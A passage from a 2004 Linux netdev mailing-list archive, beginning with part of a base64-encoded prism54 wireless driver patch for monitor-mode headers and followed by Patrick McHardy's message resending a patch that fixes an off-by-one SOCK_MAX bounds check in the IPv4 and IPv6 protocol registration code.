RVRfUFJJU01IRFIJU0lPQ0lXRklSU1RQUklWKzI0CisKICNkZWZpbmUgSVdQUklWX1NFVF9VMzIo bix4KQl7IG4sIElXX1BSSVZfVFlQRV9JTlQgfCBJV19QUklWX1NJWkVfRklYRUQgfCAxLCAwLCAi c2V0XyJ4IH0KICNkZWZpbmUgSVdQUklWX1NFVF9TU0lEKG4seCkJeyBuLCBJV19QUklWX1RZUEVf Q0hBUiB8IElXX1BSSVZfU0laRV9GSVhFRCB8IDEsIDAsICJzZXRfInggfQogI2RlZmluZSBJV1BS SVZfU0VUX0FERFIobix4KQl7IG4sIElXX1BSSVZfVFlQRV9BRERSIHwgSVdfUFJJVl9TSVpFX0ZJ WEVEIHwgMSwgMCwgInNldF8ieCB9CkBAIC0yMjEyLDYgKzIyMTgsMTAgQEAKIHN0YXRpYyBjb25z dCBzdHJ1Y3QgaXdfcHJpdl9hcmdzIHByaXNtNTRfcHJpdmF0ZV9hcmdzW10gPSB7CiAvKnsgY21k LCBzZXRfYXJncywgZ2V0X2FyZ3MsIG5hbWUgfSAqLwogCXtQUklTTTU0X1JFU0VULCAwLCAwLCAi cmVzZXQifSwKKwl7UFJJU001NF9HRVRfUFJJU01IRFIsIDAsIElXX1BSSVZfVFlQRV9JTlQgfCBJ V19QUklWX1NJWkVfRklYRUQgfCAxLAorCSAiZ2V0X3ByaXNtaGRyIn0sCisJe1BSSVNNNTRfU0VU X1BSSVNNSERSLCBJV19QUklWX1RZUEVfSU5UIHwgSVdfUFJJVl9TSVpFX0ZJWEVEIHwgMSwgMCwK KwkgInNldF9wcmlzbWhkciJ9LAogCXtQUklTTTU0X0dFVF9QT0xJQ1ksIDAsIElXX1BSSVZfVFlQ RV9JTlQgfCBJV19QUklWX1NJWkVfRklYRUQgfCAxLAogCSAiZ2V0UG9saWN5In0sCiAJe1BSSVNN NTRfU0VUX1BPTElDWSwgSVdfUFJJVl9UWVBFX0lOVCB8IElXX1BSSVZfU0laRV9GSVhFRCB8IDEs IDAsCkBAIC0yMzIxLDcgKzIzMzEsOCBAQAogCShpd19oYW5kbGVyKSBwcmlzbTU0X3NldF9yYXcs CiAJKGl3X2hhbmRsZXIpIE5VTEwsCiAJKGl3X2hhbmRsZXIpIHByaXNtNTRfc2V0X3JhdywKLQor CShpd19oYW5kbGVyKSBwcmlzbTU0X2dldF9wcmlzbWhkciwKKwkoaXdfaGFuZGxlcikgcHJpc201 NF9zZXRfcHJpc21oZHIsCiB9OwogCiBjb25zdCBzdHJ1Y3QgaXdfaGFuZGxlcl9kZWYgcHJpc201 NF9oYW5kbGVyX2RlZiA9IHsKZGlmZiAtTmF1ckViIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQv d2lyZWxlc3MvcHJpc201NC9pc2xfb2lkLmggbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2ly ZWxlc3MvcHJpc201NC9pc2xfb2lkLmgKLS0tIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2ly ZWxlc3MvcHJpc201NC9pc2xfb2lkLmgJMjAwNC0wNS0yOCAxNDowNDo1NS4yNDU1MzAxNDQgKzAy MDAKKysrIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNsX29p ZC5oCTIwMDQtMDUtMjggMTQ6MDY6MzcuOTMxOTE5NDQwICswMjAwCkBAIC05MSwxOSArOTEsNiBA QAogCXUxNiBtaHpbMF07CiB9IF9fYXR0cmlidXRlX18gKChwYWNrZWQpKTsKIAotc3RydWN0IG9i al9yeF9hbm5leCB7Ci0JdTggYWRkcjFbRVRIX0FMRU5dOwotCXU4IGFkZHIyW0VUSF9BTEVOXTsK LQl1MzIgc29tZXRoaW5nMDsKLQl1MzIgdGltZTsKLQl1MTYgc29tZXRoaW5nMTsKLQl1MTYgcmF0 ZTsKLQl1MTYgZnJlcTsKLQl1MTYgc29tZXRoaW5nMjsKLQl1OCByc3NpOwotCXU4IHBhZFszXTsK LX0gX19hdHRyaWJ1dGVfXyAoKHBhY2tlZCkpOwotCiAvKiAKICAqIGluIGNhc2UgZXZlcnl0aGlu ZydzIG9rLCB0aGUgaW5saW5lZCBmdW5jdGlvbiBiZWxvdyB3aWxsIGJlCiAgKiBvcHRpbWl6ZWQg YXdheSBieSB0aGUgY29tcGlsZXIuLi4KZGlmZiAtTmF1ckViIGxpbnV4LTIuNi42Y3QvZHJpdmVy cy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZGV2LmMgbGludXgtMi42LjYtMDEvZHJpdmVy cy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZGV2LmMKLS0tIGxpbnV4LTIuNi42Y3QvZHJp dmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZGV2LmMJMjAwNC0wNS0yOCAxNDowMjo0 Mi4xMjE3NjgwMzIgKzAyMDAKKysrIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNz L3ByaXNtNTQvaXNscGNpX2Rldi5jCTIwMDQtMDUtMjggMTQ6MDY6MzcuOTMzOTE5MTM2ICswMjAw CkBAIC03MTUsOSArNzE1LDkgQEAKIAlwcml2ID0gbmV0ZGV2X3ByaXYobmRldik7CiAJcHJpdi0+ bmRldiA9IG5kZXY7CiAJcHJpdi0+cGRldiA9IHBkZXY7Ci0KKwlwcml2LT5tb25pdG9yX3R5cGUg PSBBUlBIUkRfSUVFRTgwMjExOwogCXByaXYtPm5kZXYtPnR5cGUgPSAocHJpdi0+aXdfbW9kZSA9 PSBJV19NT0RFX01PTklUT1IpID8KLQkJQVJQSFJEX0lFRUU4MDIxMTogQVJQSFJEX0VUSEVSOwor CQlwcml2LT5tb25pdG9yX3R5cGUgOiBBUlBIUkRfRVRIRVI7CiAKIAkvKiBzYXZlIHRoZSBzdGFy dCBhbmQgZW5kIGFkZHJlc3Mgb2YgdGhlIFBDSSBtZW1vcnkgYXJlYSAqLwogCW5kZXYtPm1lbV9z dGFydCA9ICh1bnNpZ25lZCBsb25nKSBwcml2LT5kZXZpY2VfYmFzZTsKZGlmZiAtTmF1ckViIGxp bnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZGV2LmggbGlu dXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZGV2LmgKLS0t IGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZGV2LmgJ MjAwNC0wNS0yOCAxNDowNDo1NS4yNDc1Mjk4NDAgKzAyMDAKKysrIGxpbnV4LTIuNi42LTAxL2Ry aXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX2Rldi5oCTIwMDQtMDUtMjggMTQ6MDY6 MzcuOTM0OTE4OTg0ICswMjAwCkBAIC0xMTQsNiArMTE0LDggQEAKIAogCXN0cnVjdCBpd19zcHlf ZGF0YSBzcHlfZGF0YTsgLyogaXdzcHkgc3VwcG9ydCAqLwogCisJaW50IG1vbml0b3JfdHlwZTsg LyogQVJQSFJEX0lFRUU4MDIxMSBvciBBUlBIUkRfSUVFRTgwMjExX1BSSVNNICovCisKIAlzdHJ1 Y3QgaXNscGNpX2FjbCBhY2w7CiAKIAkvKiBQQ0kgYnVzIGFsbG9jYXRpb24gJiBjb25maWd1cmF0 aW9uIG1lbWJlcnMgKi8KZGlmZiAtTmF1ckViIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2ly ZWxlc3MvcHJpc201NC9pc2xwY2lfZXRoLmMgbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2ly ZWxlc3MvcHJpc201NC9pc2xwY2lfZXRoLmMKLS0tIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQv d2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZXRoLmMJMjAwNC0wNS0yOCAxNDowNDo1NS4yNDk1Mjk1 MzYgKzAyMDAKKysrIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQv aXNscGNpX2V0aC5jCTIwMDQtMDUtMjggMTQ6MDY6MzcuOTM2OTE4NjgwICswMjAwCkBAIC0yNCwx MCArMjQsMTIgQEAKICNpbmNsdWRlIDxsaW51eC9kZWxheS5oPgogI2luY2x1ZGUgPGxpbnV4L25l dGRldmljZS5oPgogI2luY2x1ZGUgPGxpbnV4L2V0aGVyZGV2aWNlLmg+CisjaW5jbHVkZSA8bGlu dXgvaWZfYXJwLmg+CiAKICNpbmNsdWRlICJpc2xfMzh4eC5oIgogI2luY2x1ZGUgImlzbHBjaV9l dGguaCIKICNpbmNsdWRlICJpc2xwY2lfbWd0LmgiCisjaW5jbHVkZSAib2lkX21ndC5oIgogCiAv KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqCiAgICAgTmV0d29yayBJbnRlcmZhY2UgZnVuY3Rpb25zCkBA IC0yNDYsNiArMjQ4LDY5IEBACiAJcmV0dXJuIGVycjsKIH0KIAorc3RhdGljIGlubGluZSBpbnQK K2lzbHBjaV9tb25pdG9yX3J4KGlzbHBjaV9wcml2YXRlICpwcml2LCBzdHJ1Y3Qgc2tfYnVmZiAq KnNrYikKK3sKKwkvKiBUaGUgY2FyZCByZXBvcnRzIGZ1bGwgODAyLjExIHBhY2tldHMgYnV0IHdp dGggYSAyMCBieXRlcworCSAqIGhlYWRlciBhbmQgd2l0aG91dCB0aGUgRkNTLiBCdXQgdGhlcmUg YSBpcyBhIGJpdCB0aGF0CisJICogaW5kaWNhdGVzIGlmIHRoZSBwYWNrZXQgaXMgY29ycnVwdGVk IDotKSAqLworCXN0cnVjdCByZm1vbl9oZWFkZXIgKmhkciA9IChzdHJ1Y3QgcmZtb25faGVhZGVy ICopICgqc2tiKS0+ZGF0YTsKKwlpZiAoaGRyLT5mbGFncyAmIDB4MDEpCisJCS8qIFRoaXMgb25l IGlzIGJhZC4gRHJvcCBpdCAhICovCisJCXJldHVybiAtMTsKKwlpZiAocHJpdi0+bmRldi0+dHlw ZSA9PSBBUlBIUkRfSUVFRTgwMjExX1BSSVNNKSB7CisJCXN0cnVjdCBhdnNfODAyMTFfMV9oZWFk ZXIgKmF2czsKKwkJLyogZXh0cmFjdCB0aGUgcmVsZXZhbnQgZGF0YSBmcm9tIHRoZSBoZWFkZXIg Ki8KKwkJdTMyIGNsb2NrID0gaGRyLT5jbG9jazsKKwkJdTggcmF0ZSA9IGhkci0+cmF0ZTsKKwkJ dTE2IGZyZXEgPSBiZTE2X3RvX2NwdShoZHItPmZyZXEpOworCQl1OCByc3NpID0gaGRyLT5yc3Np OworCisJCXNrYl9wdWxsKCpza2IsIHNpemVvZiAoc3RydWN0IHJmbW9uX2hlYWRlcikpOworCisJ CWlmIChza2JfaGVhZHJvb20oKnNrYikgPCBzaXplb2YgKHN0cnVjdCBhdnNfODAyMTFfMV9oZWFk ZXIpKSB7CisJCQlzdHJ1Y3Qgc2tfYnVmZiAqbmV3c2tiID0gc2tiX2NvcHlfZXhwYW5kKCpza2Is CisJCQkJCQkJCSBzaXplb2YgKHN0cnVjdAorCQkJCQkJCQkJIGF2c184MDIxMV8xX2hlYWRlciks CisJCQkJCQkJCSAwLCBHRlBfQVRPTUlDKTsKKwkJCWlmIChuZXdza2IpIHsKKwkJCQlrZnJlZV9z a2IoKnNrYik7CisJCQkJKnNrYiA9IG5ld3NrYjsKKwkJCX0gZWxzZQorCQkJCXJldHVybiAtMTsK KwkJCS8qIFRoaXMgYmVoYXZpb3IgaXMgbm90IHZlcnkgc3VidGlsZS4uLiAqLworCQl9CisKKwkJ LyogbWFrZSByb29tIGZvciB0aGUgbmV3IGhlYWRlciBhbmQgZmlsbCBpdC4gKi8KKwkJYXZzID0K KwkJICAgIChzdHJ1Y3QgYXZzXzgwMjExXzFfaGVhZGVyICopIHNrYl9wdXNoKCpza2IsCisJCQkJ CQkJICAgc2l6ZW9mIChzdHJ1Y3QKKwkJCQkJCQkJICAgYXZzXzgwMjExXzFfaGVhZGVyKSk7CisK KwkJYXZzLT52ZXJzaW9uID0gaHRvbmwoUDgwMjExQ0FQVFVSRV9WRVJTSU9OKTsKKwkJYXZzLT5s ZW5ndGggPSBodG9ubChzaXplb2YgKHN0cnVjdCBhdnNfODAyMTFfMV9oZWFkZXIpKTsKKwkJYXZz LT5tYWN0aW1lID0gX19jcHVfdG9fYmU2NChjbG9jayk7CisJCWF2cy0+aG9zdHRpbWUgPSBfX2Nw dV90b19iZTY0KGppZmZpZXMpOworCQlhdnMtPnBoeXR5cGUgPSBodG9ubCg2KTsJLypPRkRNOiA2 IGZvciAoZyksIDggZm9yIChhKSAqLworCQlhdnMtPmNoYW5uZWwgPSBodG9ubChjaGFubmVsX29m X2ZyZXEoZnJlcSkpOworCQlhdnMtPmRhdGFyYXRlID0gaHRvbmwocmF0ZSAqIDUpOworCQlhdnMt PmFudGVubmEgPSBodG9ubCgwKTsJLyp1bmtub3duICovCisJCWF2cy0+cHJpb3JpdHkgPSBodG9u bCgwKTsJLyp1bmtub3duICovCisJCWF2cy0+c3NpX3R5cGUgPSBodG9ubCgyKTsJLyoyOiBkQm0s IDM6IHJhdyBSU1NJICovCisJCWF2cy0+c3NpX3NpZ25hbCA9IGh0b25sKHJzc2kpOworCQlhdnMt PnNzaV9ub2lzZSA9IGh0b25sKHByaXYtPmxvY2FsX2l3c3RhdGlzdGljcy5xdWFsLm5vaXNlKTsJ LypiZXR0ZXIgdGhhbiAndW5kZWZpbmVkJywgSSBhc3N1bWUgKi8KKwkJYXZzLT5wcmVhbWJsZSA9 IGh0b25sKDApOwkvKnVua25vd24gKi8KKwkJYXZzLT5lbmNvZGluZyA9IGh0b25sKDApOwkvKnVu a25vd24gKi8KKwl9IGVsc2UKKwkJc2tiX3B1bGwoKnNrYiwgc2l6ZW9mIChzdHJ1Y3QgcmZtb25f aGVhZGVyKSk7CisKKwkoKnNrYiktPnByb3RvY29sID0gaHRvbnMoRVRIX1BfODAyXzIpOworCSgq c2tiKS0+bWFjLnJhdyA9ICgqc2tiKS0+ZGF0YTsKKwkoKnNrYiktPnBrdF90eXBlID0gUEFDS0VU X09USEVSSE9TVDsKKworCXJldHVybiAwOworfQorCiBpbnQKIGlzbHBjaV9ldGhfcmVjZWl2ZShp c2xwY2lfcHJpdmF0ZSAqcHJpdikKIHsKQEAgLTMxNSwzNyArMzgwLDI5IEBACiAJLyogZG8gc29t ZSBhZGRpdGlvbmFsIHNrX2J1ZmYgYW5kIG5ldHdvcmsgbGF5ZXIgcGFyYW1ldGVycyAqLwogCXNr Yi0+ZGV2ID0gbmRldjsKIAotCS8qIHRha2UgY2FyZSBvZiBtb25pdG9yIG1vZGUgKi8KLQlpZiAo cHJpdi0+aXdfbW9kZSA9PSBJV19NT0RFX01PTklUT1IpIHsKLQkJLyogVGhlIGNhcmQgcmVwb3J0 cyBmdWxsIDgwMi4xMSBwYWNrZXRzIGJ1dCB3aXRoIGEgMjAgYnl0ZXMKLQkJICogaGVhZGVyIGFu ZCB3aXRob3V0IHRoZSBGQ1MuIEJ1dCB0aGVyZSBhIGlzIGEgYml0IHRoYXQKLQkJICogaW5kaWNh dGVzIGlmIHRoZSBwYWNrZXQgaXMgY29ycnVwdGVkIDotKSAqLwotCQlpZiAoc2tiLT5kYXRhWzhd ICYgMHgwMSkKLQkJCS8qIFRoaXMgb25lIGlzIGJhZC4gRHJvcCBpdCAhICovCi0JCQlkaXNjYXJk ID0gMTsKLQkJc2tiX3B1bGwoc2tiLCAyMCk7Ci0JCXNrYi0+cHJvdG9jb2wgPSBodG9ucyhFVEhf UF84MDJfMik7Ci0JCXNrYi0+bWFjLnJhdyA9IHNrYi0+ZGF0YTsKLQkJc2tiLT5wa3RfdHlwZSA9 IFBBQ0tFVF9PVEhFUkhPU1Q7Ci0JfSBlbHNlIHsKKwkvKiB0YWtlIGNhcmUgb2YgbW9uaXRvciBt b2RlIGFuZCBzcHkgbW9uaXRvcmluZy4gKi8KKwlpZiAocHJpdi0+aXdfbW9kZSA9PSBJV19NT0RF X01PTklUT1IpCisJCWRpc2NhcmQgPSBpc2xwY2lfbW9uaXRvcl9yeChwcml2LCAmc2tiKTsKKwll bHNlIHsKIAkJaWYgKHNrYi0+ZGF0YVsyICogRVRIX0FMRU5dID09IDApIHsKIAkJCS8qIFRoZSBw YWNrZXQgaGFzIGEgcnhfYW5uZXguIFJlYWQgaXQgZm9yIHNweSBtb25pdG9yaW5nLCBUaGVuCiAJ CQkgKiByZW1vdmUgaXQsIHdoaWxlIGtlZXBpbmcgdGhlIDIgbGVhZGluZyBNQUMgYWRkci4KIAkJ CSAqLwogCQkJc3RydWN0IGl3X3F1YWxpdHkgd3N0YXRzOwotCQkJc3RydWN0IG9ial9yeF9hbm5l eCAqYW5uZXggPQotCQkJICAgIChzdHJ1Y3Qgb2JqX3J4X2FubmV4ICopIHNrYi0+ZGF0YTsKLQkJ CXdzdGF0cy5sZXZlbCA9IGFubmV4LT5yc3NpOworCQkJc3RydWN0IHJ4X2FubmV4X2hlYWRlciAq YW5uZXggPQorCQkJICAgIChzdHJ1Y3QgcnhfYW5uZXhfaGVhZGVyICopIHNrYi0+ZGF0YTsKKwkJ CXdzdGF0cy5sZXZlbCA9IGFubmV4LT5yZm1vbi5yc3NpOwogCQkJLyogVGhlIG5vaXNlIHZhbHVl IGNhbiBiZSBhIGJpdCBvdXRkYXRlZCBpZiBub2JvZHkncyAKIAkJCSAqIHJlYWRpbmcgd2lyZWxl c3Mgc3RhdHMuLi4gKi8KLQkJCXdzdGF0cy5ub2lzZSA9IHByaXYtPml3c3RhdGlzdGljcy5xdWFs Lm5vaXNlOworCQkJd3N0YXRzLm5vaXNlID0gcHJpdi0+bG9jYWxfaXdzdGF0aXN0aWNzLnF1YWwu bm9pc2U7CiAJCQl3c3RhdHMucXVhbCA9IHdzdGF0cy5sZXZlbCAtIHdzdGF0cy5ub2lzZTsKIAkJ CXdzdGF0cy51cGRhdGVkID0gMHgwNzsKIAkJCS8qIFVwZGF0ZSBzcHkgcmVjb3JkcyAqLwogCQkJ d2lyZWxlc3Nfc3B5X3VwZGF0ZShuZGV2LCBhbm5leC0+YWRkcjIsICZ3c3RhdHMpOwotCQkJLyog MjAgPSBzaXplb2Yoc3RydWN0IG9ial9yeF9hbm5leCkgLSAyKkVUSF9BTEVOICovCi0JCQltZW1j cHkoc2tiLT5kYXRhICsgMjAsIHNrYi0+ZGF0YSwgMiAqIEVUSF9BTEVOKTsKLQkJCXNrYl9wdWxs KHNrYiwgMjApOworCisJCQltZW1jcHkoc2tiLT5kYXRhICsgc2l6ZW9mIChzdHJ1Y3QgcmZtb25f aGVhZGVyKSwKKwkJCSAgICAgICBza2ItPmRhdGEsIDIgKiBFVEhfQUxFTik7CisJCQlza2JfcHVs bChza2IsIHNpemVvZiAoc3RydWN0IHJmbW9uX2hlYWRlcikpOwogCQl9CiAJCXNrYi0+cHJvdG9j b2wgPSBldGhfdHlwZV90cmFucyhza2IsIG5kZXYpOwogCX0KZGlmZiAtTmF1ckViIGxpbnV4LTIu Ni42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZXRoLmggbGludXgtMi42 LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZXRoLmgKLS0tIGxpbnV4 LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZXRoLmgJMjAwNC0w NS0yOCAxNDowMjo0Mi4xMjQ3Njc1NzYgKzAyMDAKKysrIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMv bmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX2V0aC5oCTIwMDQtMDUtMjggMTQ6MDY6MzcuOTM3 OTE4NTI4ICswMjAwCkBAIC0yMyw2ICsyMyw0NyBAQAogI2luY2x1ZGUgImlzbF8zOHh4LmgiCiAj aW5jbHVkZSAiaXNscGNpX2Rldi5oIgogCitzdHJ1Y3QgcmZtb25faGVhZGVyIHsKKwl1MTYgdW5r MDsJCS8qID0gMHgwMDAwICovCisJdTE2IGxlbmd0aDsJCS8qID0gMHgxNDAwICovCisJdTMyIGNs b2NrOwkJLyogMU1IeiBjbG9jayAqLworCXU4IGZsYWdzOworCXU4IHVuazE7CisJdTggcmF0ZTsK Kwl1OCB1bmsyOworCXUxNiBmcmVxOworCXUxNiB1bmszOworCXU4IHJzc2k7CisJdTggcGFkZGlu Z1szXTsKK30gX19hdHRyaWJ1dGVfXyAoKHBhY2tlZCkpOworCitzdHJ1Y3QgcnhfYW5uZXhfaGVh ZGVyIHsKKwl1OCBhZGRyMVtFVEhfQUxFTl07CisJdTggYWRkcjJbRVRIX0FMRU5dOworCXN0cnVj dCByZm1vbl9oZWFkZXIgcmZtb247Cit9IF9fYXR0cmlidXRlX18gKChwYWNrZWQpKTsKKworLyog d2xhbi1uZyAoYW5kIGhvcGVmdWxseSBvdGhlcnMpIEFWUyBoZWFkZXIsIHZlcnNpb24gb25lLiAg RmllbGRzIGluCisgKiBuZXR3b3JrIGJ5dGUgb3JkZXIuICovCisjZGVmaW5lIFA4MDIxMUNBUFRV UkVfVkVSU0lPTiAweDgwMjExMDAxCisKK3N0cnVjdCBhdnNfODAyMTFfMV9oZWFkZXIgeworCXVp bnQzMl90IHZlcnNpb247CisJdWludDMyX3QgbGVuZ3RoOworCXVpbnQ2NF90IG1hY3RpbWU7CisJ dWludDY0X3QgaG9zdHRpbWU7CisJdWludDMyX3QgcGh5dHlwZTsKKwl1aW50MzJfdCBjaGFubmVs OworCXVpbnQzMl90IGRhdGFyYXRlOworCXVpbnQzMl90IGFudGVubmE7CisJdWludDMyX3QgcHJp b3JpdHk7CisJdWludDMyX3Qgc3NpX3R5cGU7CisJaW50MzJfdCBzc2lfc2lnbmFsOworCWludDMy X3Qgc3NpX25vaXNlOworCXVpbnQzMl90IHByZWFtYmxlOworCXVpbnQzMl90IGVuY29kaW5nOwor fTsKKwogdm9pZCBpc2xwY2lfZXRoX2NsZWFudXBfdHJhbnNtaXQoaXNscGNpX3ByaXZhdGUgKiwg aXNsMzh4eF9jb250cm9sX2Jsb2NrICopOwogaW50IGlzbHBjaV9ldGhfdHJhbnNtaXQoc3RydWN0 IHNrX2J1ZmYgKiwgc3RydWN0IG5ldF9kZXZpY2UgKik7CiBpbnQgaXNscGNpX2V0aF9yZWNlaXZl KGlzbHBjaV9wcml2YXRlICopOwpkaWZmIC1OYXVyRWIgbGludXgtMi42LjZjdC9kcml2ZXJzL25l dC93aXJlbGVzcy9wcmlzbTU0L29pZF9tZ3QuYyBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93 aXJlbGVzcy9wcmlzbTU0L29pZF9tZ3QuYwotLS0gbGludXgtMi42LjZjdC9kcml2ZXJzL25ldC93 aXJlbGVzcy9wcmlzbTU0L29pZF9tZ3QuYwkyMDA0LTA1LTI4IDE0OjA0OjU1LjI1MDUyOTM4NCAr MDIwMAorKysgbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9vaWRf bWd0LmMJMjAwNC0wNS0yOCAxNDowNjozNy45Mzk5MTgyMjQgKzAyMDAKQEAgLTMxLDYgKzMxLDI3 IEBACiAJNTI0MCwgNTI2MCwgNTI4MCwgNTMwMCwgNTMyMAogfTsKIAoraW50CitjaGFubmVsX29m X2ZyZXEoaW50IGYpCit7CisJaW50IGMgPSAwOworCisJaWYgKChmID49IDI0MTIpICYmIChmIDw9 IDI0ODQpKSB7CisJCXdoaWxlICgoYyA8IDE0KSAmJiAoZiAhPSBmcmVxdWVuY3lfbGlzdF9iZ1tj XSkpCisJCQljKys7CisJCWlmIChjID49IDE0KQorCQkJcmV0dXJuIDA7CisJfSBlbHNlIGlmICgo ZiA+PSAoaW50KSA1MTcwKSAmJiAoZiA8PSAoaW50KSA1MzIwKSkgeworCQl3aGlsZSAoKGMgPCAx MikgJiYgKGYgIT0gZnJlcXVlbmN5X2xpc3RfYVtjXSkpCisJCQljKys7CisJCWlmIChjID49IDEy KQorCQkJcmV0dXJuIDA7CisJfSBlbHNlCisJCXJldHVybiAwOworCisJcmV0dXJuICsrYzsKK30K KwogI2RlZmluZSBPSURfU1RSVUNUKG5hbWUsb2lkLHMsdCkgW25hbWVdID0ge29pZCwgMCwgc2l6 ZW9mKHMpLCB0fQogI2RlZmluZSBPSURfU1RSVUNUX0MobmFtZSxvaWQscyx0KSBPSURfU1RSVUNU KG5hbWUsb2lkLHMsdCB8IE9JRF9GTEFHX0NBQ0hFRCkKICNkZWZpbmUgT0lEX1UzMihuYW1lLG9p ZCkgT0lEX1NUUlVDVChuYW1lLG9pZCx1MzIsT0lEX1RZUEVfVTMyKQpkaWZmIC1OYXVyRWIgbGlu dXgtMi42LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L29pZF9tZ3QuaCBsaW51eC0y LjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L29pZF9tZ3QuaAotLS0gbGludXgt Mi42LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L29pZF9tZ3QuaAkyMDA0LTA1LTI4 IDE0OjA0OjU1LjI1MjUyOTA4MCArMDIwMAorKysgbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQv d2lyZWxlc3MvcHJpc201NC9vaWRfbWd0LmgJMjAwNC0wNS0yOCAxNDowNjozNy45NDE5MTc5MjAg KzAyMDAKQEAgLTI4LDkgKzI4LDEwIEBACiAKIHZvaWQgbWd0X2NsZWFuKGlzbHBjaV9wcml2YXRl ICopOwogCisvKiBJIGRvbid0IGtub3cgd2hlcmUgdG8gcHV0IHRoZXNlIDMgKi8KIGV4dGVybiBj b25zdCBpbnQgZnJlcXVlbmN5X2xpc3RfYmdbXTsKLQogZXh0ZXJuIGNvbnN0IGludCBmcmVxdWVu Y3lfbGlzdF9hW107CitpbnQgY2hhbm5lbF9vZl9mcmVxKGludCk7CiAKIHZvaWQgbWd0X2xlX3Rv X2NwdShpbnQsIHZvaWQgKik7CiAK --=====================_50410586==_-- From kaber@trash.net Sun May 30 16:45:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 16:45:37 -0700 (PDT) Received: from gw.localnet (port-195-158-167-243.dynamic.qsc.de [195.158.167.243]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4UNjXgi014657 for ; Sun, 30 May 2004 16:45:34 -0700 Received: from pd95e92f4.dip.t-dialin.net ([217.94.146.244] helo=trash.net) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1BUZze-0003Fn-00; Mon, 31 May 2004 01:45:30 +0200 Message-ID: <40BA7111.7030307@trash.net> Date: Mon, 31 May 2004 01:41:05 +0200 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040413 Debian/1.6-5 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: netdev@oss.sgi.com Subject: Re: [PATCH]: Fix off-by-one in max protocol-type check References: <40B71A1C.5080400@trash.net> <40B71ABD.5060600@trash.net> <20040529123829.10778ffe.davem@redhat.com> In-Reply-To: <20040529123829.10778ffe.davem@redhat.com> Content-Type: multipart/mixed; boundary="------------080900070009090006000609" X-archive-position: 5488 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------080900070009090006000609 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi Dave, David S. Miller wrote: >>Patrick McHardy wrote: >> >>>This patch fixes an off-by-one in inet_register_protosw and >>>inet6_register_protosw. inetsw is an array of size SOCK_MAX, >>>the check allows access to index SOCK_MAX. Patch applies >>>to 2.4 and 2.6. >> >>Forgot the patch, sorry ;) > > > Applied. > Judging from 2.4.27-pre4 changelog, you forgot to apply this patch to 2.4. Patch from 2.6 attached, it applies with some offset. Regards Patrick --------------080900070009090006000609 Content-Type: text/x-patch; name="protocol-type-off-by-one.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="protocol-type-off-by-one.diff" ChangeSet 1.1763, 2004/05/29 12:38:17-07:00, kaber@trash.net [IPV4,6]: Fix off-by-one in max protocol-type check ipv4/af_inet.c | 2 +- ipv6/af_inet6.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff -Nru a/net/ipv4/af_inet.c b/net/ipv4/af_inet.c --- a/net/ipv4/af_inet.c 2004-05-29 14:14:46 -07:00 +++ b/net/ipv4/af_inet.c 2004-05-29 14:14:46 -07:00 @@ -978,7 +978,7 @@ spin_lock_bh(&inetsw_lock); - if (p->type > SOCK_MAX) + if (p->type >= SOCK_MAX) goto out_illegal; /* If we are trying to override a permanent protocol, bail. */ diff -Nru a/net/ipv6/af_inet6.c b/net/ipv6/af_inet6.c --- a/net/ipv6/af_inet6.c 2004-05-29 14:14:46 -07:00 +++ b/net/ipv6/af_inet6.c 2004-05-29 14:14:46 -07:00 @@ -572,7 +572,7 @@ spin_lock_bh(&inetsw6_lock); - if (p->type > SOCK_MAX) + if (p->type >= SOCK_MAX) goto out_illegal; /* If we are trying to override a permanent protocol, bail. */ --------------080900070009090006000609-- From 